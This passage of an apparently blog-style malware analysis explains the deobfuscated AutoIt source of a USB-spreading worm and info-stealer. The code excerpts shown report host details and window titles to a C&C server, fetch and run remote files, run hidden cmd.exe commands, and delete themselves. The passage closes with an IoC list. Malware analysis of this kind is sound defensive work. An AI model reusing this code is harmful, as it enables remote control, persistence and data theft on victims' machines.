        &lt;span class="kt"&gt;Return&lt;/span&gt; &lt;span class="s"&gt;"No-AntiVirus"&lt;/span&gt;
    &lt;span class="kt"&gt;Else&lt;/span&gt;
        &lt;span class="kt"&gt;Return&lt;/span&gt; &lt;span class="n"&gt;$AVNAME&lt;/span&gt;
    &lt;span class="kt"&gt;EndIf&lt;/span&gt;
&lt;span class="kt"&gt;EndFunc&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;It's self explanatory, it iterates SecurityCenter entries and returns last anti-virus provider. If an anti-virus not exist, returns &lt;code&gt;No-AntiVirus&lt;/code&gt;. Also did you remember &lt;code&gt;No-AntiVirus&lt;/code&gt; entry, we found it in static analysis.&lt;/p&gt;




&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;&lt;span class="kt"&gt;Func&lt;/span&gt; &lt;span class="kt"&gt;XFNYFKEFWEQHZMH&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="kt"&gt;BrokenUninstall&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="kt"&gt;DataReport&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"MSG0LIONW0 Uninstall !!"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="kt"&gt;RegDelete&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"HKEY_LOCAL_MACHINE&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Software&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Microsoft&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Windows&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;CurrentVersion&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Run"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"Google Chrome"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;RegDelete&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"HKEY_CURRENT_USER&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Software&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Microsoft&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Windows&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;CurrentVersion&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Run"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"Google Chrome"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;RegDelete&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"HKEY_LOCAL_MACHINE&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Software&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Microsoft&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Windows&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;CurrentVersion&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Run"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"JavaUpdate"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;RegDelete&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"HKEY_CURRENT_USER&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Software&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Microsoft&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Windows&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;CurrentVersion&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Run"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"AdopeUpdate"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;RegDelete&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"HKEY_LOCAL_MACHINE&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Software&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Microsoft&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Windows&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;CurrentVersion&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Run"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"NewJavaInstall"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;RegDelete&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"HKEY_CURRENT_USER&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Software&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Microsoft&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Windows&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;CurrentVersion&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="s"&gt;Run"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"AdopeFlash"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;ShellExecute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"netsh"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"firewall delete allowedprogram "&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@AutoItExe&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;@SW_HIDE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;ShellExecute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;@ComSpec&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"/k ping 0 &amp;amp; del "&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@AutoItExe&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;" &amp;amp; exit"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;@SW_HIDE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="kt"&gt;Exit&lt;/span&gt;
&lt;span class="kt"&gt;EndFunc&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Whoa, did we find a uninstall function in this malware? Cool! &lt;em&gt;However did you not expect it is well working, right?&lt;/em&gt; It only deletes the the regedit keys, the malware that placed &lt;code&gt;C:\GoogleChrome\GoogleChrome.exe&lt;/code&gt;, removes the firewall exception. And remove itself. The shortcuts and &lt;code&gt;C:\MozillaFirefox&lt;/code&gt; still exist and can the malware spread it again.&lt;/p&gt;

&lt;p&gt;But i liked the way to remove executable, it starts a &lt;code&gt;cmd.exe&lt;/code&gt; and &lt;code&gt;ping 0&lt;/code&gt; to sleep the malware exits while ping is sending then &lt;code&gt;cmd.exe&lt;/code&gt; removes by &lt;code&gt;del @AutoItExe&lt;/code&gt; part.&lt;/p&gt;

&lt;p&gt;Also it's sending &lt;code&gt;MSG0LIONW0 Uninstall !!"&lt;/code&gt; message to server.&lt;/p&gt;




&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;&lt;span class="n"&gt;$ZKXUZCJNQFHAJKU&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;$counter_to_spread&lt;/span&gt;
&lt;span class="n"&gt;$BJLTKXJDEYWQECD&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;$counter_to_steal&lt;/span&gt;
&lt;span class="n"&gt;$SSPGCTZBCDDBOHR&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;""&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;$last_window_title&lt;/span&gt;

&lt;span class="kt"&gt;While&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;We have a bunch of variables and we are going into the main loop.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;    &lt;span class="n"&gt;$counter_to_spread&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="kt"&gt;If&lt;/span&gt; &lt;span class="n"&gt;$counter_to_spread&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt; &lt;span class="kt"&gt;Then&lt;/span&gt;
        &lt;span class="n"&gt;$counter_to_spread&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
        &lt;span class="kt"&gt;RegWriteAndStartupShortcuts&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="kt"&gt;AddMyFolders&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="kt"&gt;EndIf&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It have basically &lt;code&gt;(++counter_to_spread%5 == 0)&lt;/code&gt; condition and triggers the functions to spread removable devices and sure the malware is still persistent.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;    &lt;span class="n"&gt;$EWFVJGZMZAZBQSC&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;GetCommandFromCNC&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;$CNC_command&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It gets command from C&amp;amp;C to process.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;    &lt;span class="kt"&gt;Select&lt;/span&gt;
        &lt;span class="kt"&gt;Case&lt;/span&gt; &lt;span class="n"&gt;$CNC_command&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="kt"&gt;Or&lt;/span&gt; &lt;span class="n"&gt;$TCP_Connection_State&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
            &lt;span class="kt"&gt;Sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="kt"&gt;ResolveAddressAndConnect&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="kt"&gt;DataReport&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"lv0LIONW0"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$Zeus_drive_serial&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"0LIONW0"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@ComputerName&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"0LIONW0"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@UserName&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"0LIONW0"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"0LIONW0"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@OSVersion&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;" "&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kd"&gt;@OSArch&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"0LIONW0"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="nv"&gt;$0&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="n"&gt;xUsb&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"0LIONW0"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="kt"&gt;AV&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"0LIONW0"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It checks the status of socket. And if connection not initialized or terminated, it is trying to start connection here and report the computer information. That we found already in static analysis. Also the &lt;code&gt;Sleep&lt;/code&gt; call probably to prevent triggering an anti-virus and keep hidden in other network requests.&lt;/p&gt;

&lt;p&gt;Also it's the only call of &lt;code&gt;ResolveAddressAndConnect&lt;/code&gt; function in the malware. The all previous &lt;code&gt;DataReport&lt;/code&gt; calls will always fail cause from that.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;        &lt;span class="kt"&gt;Case&lt;/span&gt; &lt;span class="n"&gt;$CNC_command&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;""&lt;/span&gt;
            &lt;span class="n"&gt;$counter_to_steal&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
            &lt;span class="kt"&gt;Sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="kt"&gt;If&lt;/span&gt; &lt;span class="n"&gt;$counter_to_steal&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt; &lt;span class="kt"&gt;Then&lt;/span&gt;
                &lt;span class="n"&gt;$counter_to_steal&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
                &lt;span class="n"&gt;$CALKNAYQNVAYKLR&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;WinGetTitle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="kt"&gt;If&lt;/span&gt; &lt;span class="n"&gt;$CALKNAYQNVAYKLR&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;$last_window_title&lt;/span&gt; &lt;span class="kt"&gt;Then&lt;/span&gt;
                    &lt;span class="kt"&gt;DataReport&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"ac0LIONW0"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$CALKNAYQNVAYKLR&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="kt"&gt;EndIf&lt;/span&gt;
                &lt;span class="n"&gt;$last_window_title&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;$CALKNAYQNVAYKLR&lt;/span&gt;
                &lt;span class="n"&gt;$CALKNAYQNVAYKLR&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;""&lt;/span&gt;
            &lt;span class="kt"&gt;EndIf&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If socket connected successfully, it will capture current window title via &lt;code&gt;WinGetTitle("")&lt;/code&gt; in every 8 seconds. If the current title is not equal to previous title, it will reported via &lt;code&gt;DataReport&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;        &lt;span class="kt"&gt;Case&lt;/span&gt; &lt;span class="n"&gt;$CNC_command&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;gt;&lt;/span&gt; &lt;span class="s"&gt;""&lt;/span&gt;
            &lt;span class="n"&gt;$XOHRZSTRJNJQZYB&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;StringSplit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$CNC_command&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"0LIONW0"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;$CNC_command_list&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If &lt;code&gt;$CNC_command&lt;/code&gt; is not equal to &lt;code&gt;""&lt;/code&gt;, it tries to split using the delimiter and assign to &lt;code&gt;$CNC_command_list&lt;/code&gt;.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Note: &lt;code&gt;StringSplit&lt;/code&gt; is also using AutoIt 3 Array returning format.&lt;br&gt;
&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;            &lt;span class="kt"&gt;If&lt;/span&gt; &lt;span class="n"&gt;$CNC_command_list&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="kt"&gt;Then&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;$CNC_command_list&lt;/code&gt; size check is too comic. It checks only longer than is it bigger than &lt;code&gt;0&lt;/code&gt; or not. However we are already checked it is not empty, so it &lt;strong&gt;always&lt;/strong&gt; bigger than &lt;code&gt;0&lt;/code&gt;. Also not properly checks size. &lt;code&gt;$CNC_command_list[2]&lt;/code&gt; would malware crash if server send faulty data. &lt;em&gt;Never mind, I am too thinking about this malware.&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;                &lt;span class="kt"&gt;Select&lt;/span&gt;
                    &lt;span class="kt"&gt;Case&lt;/span&gt; &lt;span class="n"&gt;$CNC_command_list&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"DL"&lt;/span&gt;
                        &lt;span class="kt"&gt;InetGet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;$CNC_command_list&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="kd"&gt;@TempDir&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s"&gt; &amp;amp; $CNC_command_list[3], 1)
                        If FileExists(@TempDir &amp;amp; "&lt;/span&gt;&lt;span class="p"&gt;\&lt;/span&gt;&lt;span class="s"&gt;" &amp;amp; $CNC_command_list[3]) Then
                            ShellExecute("&lt;/span&gt;&lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exe&lt;/span&gt;&lt;span class="s"&gt;", "&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="n"&gt;start&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="n"&gt;temp&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="p"&gt;\&lt;/span&gt;&lt;span class="s"&gt;" &amp;amp; $CNC_command_list[3], "", "", @SW_HIDE)
                            DataReport("&lt;/span&gt;&lt;span class="kt"&gt;MSG0LIONW0Executed&lt;/span&gt; &lt;span class="kt"&gt;As&lt;/span&gt; &lt;span class="s"&gt;" &amp;amp; $CNC_command_list[3])
                        Else
                            DataReport("&lt;/span&gt;&lt;span class="kt"&gt;MSG0LIONW0Download&lt;/span&gt; &lt;span class="kt"&gt;ERR&lt;/span&gt;&lt;span class="s"&gt;")
                        EndIf
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It checks first parameter is equal to &lt;code&gt;DL&lt;/code&gt;. &lt;code&gt;DL&lt;/code&gt; mostly stands for &lt;em&gt;download&lt;/em&gt; keyword. And it's explaining what does exactly. It download second parameter to &lt;code&gt;%TEMP%&lt;/code&gt; using third parameter as filename.&lt;br&gt;
If the file exists in the &lt;code&gt;%TEMP%&lt;/code&gt; directory, it tries to run via &lt;code&gt;ShellExecute&lt;/code&gt;. And lastly sends information to C&amp;amp;C server about execution state (run or corrupted). Also this mode might be show the malware have a second part which distributed via C&amp;amp;C to keep avoid from anti-virus scans. But we can never able to learn that.&lt;/p&gt;

&lt;p&gt;Also it is the part of we understand the malware isn't just a basic worm or info-stealer. It can run arbitrary code on infected computer.&lt;/p&gt;

&lt;p&gt;Probably the syntax is looking like &lt;code&gt;DL0LIONW0$url0LIONW0file_name&lt;/code&gt; to trigger that situation.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;                    &lt;span class="kt"&gt;Case&lt;/span&gt; &lt;span class="n"&gt;$CNC_command_list&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"un"&lt;/span&gt;
                        &lt;span class="kt"&gt;BrokenUninstall&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If it gets just &lt;code&gt;un&lt;/code&gt; command, it triggers broken uninstaller function. Also you probably guessed the &lt;code&gt;un&lt;/code&gt; keyword is just standing &lt;em&gt;uninstall&lt;/em&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;                    &lt;span class="kt"&gt;Case&lt;/span&gt; &lt;span class="n"&gt;$CNC_command_list&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"cmd"&lt;/span&gt;
                        &lt;span class="kt"&gt;If&lt;/span&gt; &lt;span class="kt"&gt;ShellExecute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"cmd.exe"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;$CNC_command_list&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;@SW_HIDE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="kt"&gt;Then&lt;/span&gt;
                            &lt;span class="kt"&gt;DataReport&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"MSG0LIONW0Executed cmd.exe "&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$CNC_command_list&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
                        &lt;span class="kt"&gt;Else&lt;/span&gt;
                            &lt;span class="kt"&gt;DataReport&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"MSG0LIONW0Execute ERR cmd.exe "&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;$CNC_command_list&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
                        &lt;span class="kt"&gt;EndIf&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If it gets &lt;code&gt;cmd&lt;/code&gt; as first argument, it will try to run the command in &lt;code&gt;cmd.exe&lt;/code&gt;, however it not contains &lt;code&gt;/c&lt;/code&gt; parameter so commands also needs the parameter to run command with it. Also it not reported output of the command. So it's a blind shell at all. You can run commands however never be sure what worked and what not worked.&lt;/p&gt;

&lt;p&gt;Probably the syntax is looking like &lt;code&gt;cmd0LIONW0$command&lt;/code&gt; to trigger that situation.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;                &lt;span class="kt"&gt;EndSelect&lt;/span&gt;
            &lt;span class="kt"&gt;EndIf&lt;/span&gt;
    &lt;span class="kt"&gt;EndSelect&lt;/span&gt;
&lt;span class="kt"&gt;WEnd&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  5. IoC
&lt;/h2&gt;

&lt;h3&gt;
  
  
  5.1. Network Address
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;hxxp://googleads[.]publicvm[.]com:224/&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  5.2. Dropped Files
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;X:\MozillaFirefox&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;X:\MozillaFirefox\GoogleChrome.exe&lt;/code&gt;&lt;/li&gt;
